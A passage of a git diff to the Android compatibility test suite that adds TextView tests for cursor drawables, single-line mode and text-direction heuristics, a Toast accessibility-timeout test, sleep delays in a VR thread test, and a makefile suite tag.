             differenceList.add("Hyphenation Frequency");
         }
 
-        TextDirectionHeuristic dir = params.getTextDirection();
-        if (differentTextDir) {
-            dir = dir == TextDirectionHeuristics.LTR
-                    ?  TextDirectionHeuristics.RTL : TextDirectionHeuristics.LTR;
-            differenceList.add("Text Direction");
-        }
-
         final Params outParams = new Builder(paint).setBreakStrategy(strategy)
-                .setHyphenationFrequency(hyFreq).setTextDirection(dir).build();
+                .setHyphenationFrequency(hyFreq).build();
         return new Pair(outParams, differenceList.toArray(new String[differenceList.size()]));
     }
 
@@ -156,7 +145,7 @@
         ArrayList<Object[]> allParams = new ArrayList<>();
 
         // Compute the powerset except for all false case.
-        final int allParameterCount = 11;
+        final int allParameterCount = 10;
         // The 11-th bit is for font variation settings. Don't add test case if the system don't
         // have variable fonts.
         final int fullBits = hasVarFont()
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 1431401..8c6e7e7 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -90,6 +90,7 @@
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
 import android.text.Spanned;
+import android.text.TextDirectionHeuristics;
 import android.text.TextPaint;
 import android.text.TextUtils;
 import android.text.TextUtils.TruncateAt;
@@ -4025,6 +4026,48 @@
 
     @UiThreadTest
     @Test
+    public void testCursorDrawable_isNotNullByDefault() {
+        assertNotNull(new TextView(mActivity).getTextCursorDrawable());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testCursorDrawable_canBeSet_toDrawable() {
+        mTextView = new TextView(mActivity);
+        final Drawable cursor = TestUtils.getDrawable(mActivity, R.drawable.blue);
+        mTextView.setTextCursorDrawable(cursor);
+        assertSame(cursor, mTextView.getTextCursorDrawable());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testCursorDrawable_canBeSet_toDrawableResource() {
+        mTextView = new TextView(mActivity);
+        mTextView.setTextCursorDrawable(R.drawable.start);
+        WidgetTestUtils.assertEquals(TestUtils.getBitmap(mActivity, R.drawable.start),
+                ((BitmapDrawable) mTextView.getTextCursorDrawable()).getBitmap());
+    }
+
+    @UiThreadTest
+    @Test(expected = NullPointerException.class)
+    public void testCursorDrawable_cannotBeSetToNull() {
+        new TextView(mActivity).setTextCursorDrawable(null);
+    }
+
+    @UiThreadTest
+    @Test(expected = IllegalArgumentException.class)
+    public void testCursorDrawable_cannotBeSetToZeroResId() {
+        new TextView(mActivity).setTextCursorDrawable(0);
+    }
+
+    @UiThreadTest
+    @Test(expected = IllegalArgumentException.class)
+    public void testCursorDrawable_cannotBeSetToNegativeResId() {
+        new TextView(mActivity).setTextCursorDrawable(-1);
+    }
+
+    @UiThreadTest
+    @Test
     public void testHandleDrawables_areNotNullByDefault() {
         mTextView = new TextView(mActivity);
         assertNotNull(mTextView.getTextSelectHandle());
@@ -4271,6 +4314,48 @@
 
     @UiThreadTest
     @Test
+    public void testIsSingleLineTrue() {
+        mTextView = new TextView(mActivity);
+
+        mTextView.setSingleLine(true);
+
+        assertTrue(mTextView.isSingleLine());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testIsSingleLineFalse() {
+        mTextView = new TextView(mActivity);
+
+        mTextView.setSingleLine(false);
+
+        assertFalse(mTextView.isSingleLine());
+    }
+
+    @Test
+    public void testXmlIsSingleLineTrue() {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final LayoutInflater layoutInflater = LayoutInflater.from(context);
+        final View root = layoutInflater.inflate(R.layout.textview_singleline, null);
+
+        mTextView = root.findViewById(R.id.textview_singleline_true);
+
+        assertTrue(mTextView.isSingleLine());
+    }
+
+    @Test
+    public void testXmlIsSingleLineFalse() {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final LayoutInflater layoutInflater = LayoutInflater.from(context);
+        final View root = layoutInflater.inflate(R.layout.textview_singleline, null);
+
+        mTextView = root.findViewById(R.id.textview_singleline_false);
+
+        assertFalse(mTextView.isSingleLine());
+    }
+
+    @UiThreadTest
+    @Test
     public void testAccessMaxLines() {
         mTextView = findTextView(R.id.textview_text);
         mTextView.setWidth((int) (mTextView.getPaint().measureText(LONG_TEXT) / 4));
@@ -8219,6 +8304,122 @@
         }
     }
 
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_password_returnsLTR() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text_password);
+
+        assertEquals(TextDirectionHeuristics.LTR, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_LtrLayout_TextDirectionFirstStrong() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text);
+        textView.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG);
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+
+        assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionFirstStrong() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text);
+        textView.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG);
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+
+        assertEquals(TextDirectionHeuristics.FIRSTSTRONG_RTL, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionAnyRtl() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text);
+        textView.setTextDirection(View.TEXT_DIRECTION_ANY_RTL);
+
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+        assertEquals(TextDirectionHeuristics.ANYRTL_LTR, textView.getTextDirectionHeuristic());
+
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+        assertEquals(TextDirectionHeuristics.ANYRTL_LTR, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionLtr() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text);
+        textView.setTextDirection(View.TEXT_DIRECTION_LTR);
+
+        assertEquals(TextDirectionHeuristics.LTR, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionRtl() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text);
+        textView.setTextDirection(View.TEXT_DIRECTION_RTL);
+
+        assertEquals(TextDirectionHeuristics.RTL, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionFirstStrongLtr() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text);
+        textView.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG_LTR);
+
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+        assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR, textView.getTextDirectionHeuristic());
+
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+        assertEquals(TextDirectionHeuristics.FIRSTSTRONG_LTR, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionFirstStrongRtl() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text);
+        textView.setTextDirection(View.TEXT_DIRECTION_FIRST_STRONG_RTL);
+
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+        assertEquals(TextDirectionHeuristics.FIRSTSTRONG_RTL, textView.getTextDirectionHeuristic());
+
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+        assertEquals(TextDirectionHeuristics.FIRSTSTRONG_RTL, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_phoneInputType_returnsLTR() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text_phone);
+
+        textView.setTextLocale(Locale.forLanguageTag("ar"));
+        textView.setTextDirection(View.TEXT_DIRECTION_RTL);
+        textView.setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+
+        assertEquals(TextDirectionHeuristics.LTR, textView.getTextDirectionHeuristic());
+    }
+
+    @Test
+    @UiThreadTest
+    public void testGetTextDirectionHeuristic_RtlLayout_TextDirectionLocale() {
+        mActivity.setContentView(R.layout.textview_textdirectionheuristic);
+        final TextView textView = mActivity.findViewById(R.id.text);
+        textView.setTextDirection(View.TEXT_DIRECTION_LOCALE);
+
+        assertEquals(TextDirectionHeuristics.LOCALE, textView.getTextDirectionHeuristic());
+    }
+
     private void initializeTextForSmartSelection(CharSequence text) throws Throwable {
         assertTrue(text.length() >= SMARTSELECT_END);
         mActivityRule.runOnUiThread(() -> {
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 4ea9b88..202ed09 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -24,10 +24,12 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.drawable.Drawable;
 import android.os.SystemClock;
+import android.provider.Settings;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.LargeTest;
@@ -37,10 +39,13 @@
 import android.view.View;
 import android.view.ViewTreeObserver;
 import android.view.WindowManager;
+import android.view.accessibility.AccessibilityManager;
 import android.widget.ImageView;
 import android.widget.Toast;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestUtils;
 
 import org.junit.Before;
 import org.junit.Rule;
@@ -51,6 +56,9 @@
 @RunWith(AndroidJUnit4.class)
 public class ToastTest {
     private static final String TEST_TOAST_TEXT = "test toast";
+    private static final String SETTINGS_ACCESSIBILITY_UI_TIMEOUT =
+            "accessibility_non_interactive_ui_timeout_ms";
+    private static final int ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS = 3000;
     private static final long TIME_FOR_UI_OPERATION  = 1000L;
     private static final long TIME_OUT = 5000L;
     private Toast mToast;
@@ -203,6 +211,69 @@
     }
 
     @Test
+    public void testAccessDuration_withA11yTimeoutEnabled() throws Throwable {
+        makeToast();
+        final Runnable showToast = () -> {
+            mToast.setDuration(Toast.LENGTH_SHORT);
+            mToast.show();
+        };
+        long start = SystemClock.uptimeMillis();
+        mActivityRule.runOnUiThread(showToast);
+        mInstrumentation.waitForIdleSync();
+        assertShowAndHide(mToast.getView());
+        final long shortDuration = SystemClock.uptimeMillis() - start;
+
+        final UiAutomation uiAutomation = mInstrumentation.getUiAutomation();
+        final String originalSetting = Settings.Secure.getString(mContext.getContentResolver(),
+                SETTINGS_ACCESSIBILITY_UI_TIMEOUT);
+        try {
+            final int a11ySettingDuration = (int) shortDuration + 1000;
+            SystemUtil.runWithShellPermissionIdentity(uiAutomation,
+                    () -> Settings.Secure.putInt(mContext.getContentResolver(),
+                            SETTINGS_ACCESSIBILITY_UI_TIMEOUT, a11ySettingDuration));
+            waitForA11yRecommendedTimeoutChanged(mContext,
+                    ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS, a11ySettingDuration);
+            start = SystemClock.uptimeMillis();
+            mActivityRule.runOnUiThread(showToast);
+            mInstrumentation.waitForIdleSync();
+            assertShowAndHide(mToast.getView());
+            final long a11yDuration = SystemClock.uptimeMillis() - start;
+            assertTrue(a11yDuration >= a11ySettingDuration);
+        } finally {
+            SystemUtil.runWithShellPermissionIdentity(uiAutomation,
+                    () -> Settings.Secure.putString(mContext.getContentResolver(),
+                            SETTINGS_ACCESSIBILITY_UI_TIMEOUT, originalSetting));
+        }
+    }
+
+    /**
+     * Wait for accessibility recommended timeout changed and equals to expected timeout.
+     *
+     * @param expectedTimeoutMs expected recommended timeout
+     */
+    private void waitForA11yRecommendedTimeoutChanged(Context context,
+            long waitTimeoutMs, int expectedTimeoutMs) {
+        final AccessibilityManager manager =
+                (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
+        final Object lock = new Object();
+        AccessibilityManager.AccessibilityServicesStateChangeListener listener = (m) -> {
+            synchronized (lock) {
+                lock.notifyAll();
+            }
+        };
+        manager.addAccessibilityServicesStateChangeListener(listener, null);
+        try {
+            TestUtils.waitOn(lock,
+                    () -> manager.getRecommendedTimeoutMillis(0,
+                            AccessibilityManager.FLAG_CONTENT_TEXT) == expectedTimeoutMs,
+                    waitTimeoutMs,
+                    "Wait for accessibility recommended timeout changed");
+        } finally {
+            manager.removeAccessibilityServicesStateChangeListener(listener);
+        }
+    }
+
+    @Test
     public void testAccessMargin() throws Throwable {
         makeToast();
         View view = mToast.getView();
diff --git a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
index 9fd01b1..b73a5d3 100644
--- a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
+++ b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
@@ -39,6 +39,10 @@
     private static final int SCHED_RESET_ON_FORK = 0x40000000;
     public static final String ENABLED_VR_LISTENERS = "enabled_vr_listeners";
     private static final String TAG = "VrSetFIFOThreadTest";
+    // After setVrModeEnabled call, wait some time for change to take effect.
+    // Arbitrary timeout is set as there is no way to query the result from app
+    // see b/119819897
+    private static final int SLEEP_TIME_MS = 3000;
 
     public VrSetFIFOThreadTest() {
         super(OpenGLESActivity.class);
@@ -81,6 +85,7 @@
                 PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE)) {
             int vr_thread = 0, policy = 0;
             mActivity.setVrModeEnabled(true, requestedComponent);
+            Thread.sleep(SLEEP_TIME_MS);
             vr_thread = Process.myTid();
             mActivityManager =
                   (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
@@ -103,6 +108,7 @@
                 PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE)) {
             int vr_thread = 0, policy = 0;
             mActivity.setVrModeEnabled(false, requestedComponent);
+            Thread.sleep(SLEEP_TIME_MS);
             vr_thread = Process.myTid();
             mActivityManager =
                   (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index 676734d..4086cde 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -65,7 +65,7 @@
 LOCAL_MODULE_PATH := $(intermediates)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_SYSTEM)/base_rules.mk